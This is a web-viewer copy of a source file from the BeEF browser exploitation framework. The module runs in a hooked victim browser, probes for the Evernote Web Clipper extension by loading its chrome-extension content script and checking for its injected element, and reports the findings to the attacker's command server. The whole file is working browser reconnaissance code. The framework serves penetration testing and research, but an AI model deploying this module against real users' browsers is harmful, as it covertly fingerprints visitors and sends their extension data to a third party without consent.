Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/browser/detect_evernote_clipper/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
var result = "";
9
10
var s = document.createElement('script');
11
s.onload = function() {
12
result = "Detected through presense of extension content script.";
13
beef.net.send("<%= @command_url %>", <%= @command_id %>, "evernote_clipper="+result);
14
}
15
s.src = 'chrome-extension://pioclpoplcdbaefihamjohnefbikjilc/content/frame.js';
16
document.body.appendChild(s);
17
18
var evdiv = document.getElementById('evernoteGlobalTools');
19
if (typeof(evdiv) != 'undefined' && evdiv != null) {
20
// Evernote Web Clipper must have been active as well, because we can detect one of the iFrames
21
iframeresult = "Detected evernoteGlobalTools iFrame. Looks like the Web Clipper has been used on this page";
22
beef.net.send("<%= @command_url %>", <%= @command_id %>, "evernote_clipper="+iframeresult);
23
}
24
25
26
setTimeout(function() {
27
if (result == "") {
28
beef.net.send("<%= @command_url %>", <%= @command_id %>, "evernote_clipper=Not Detected");
29
}
30
document.body.removeChild(s);
31
}, 2000);
32
33
});
34
35
36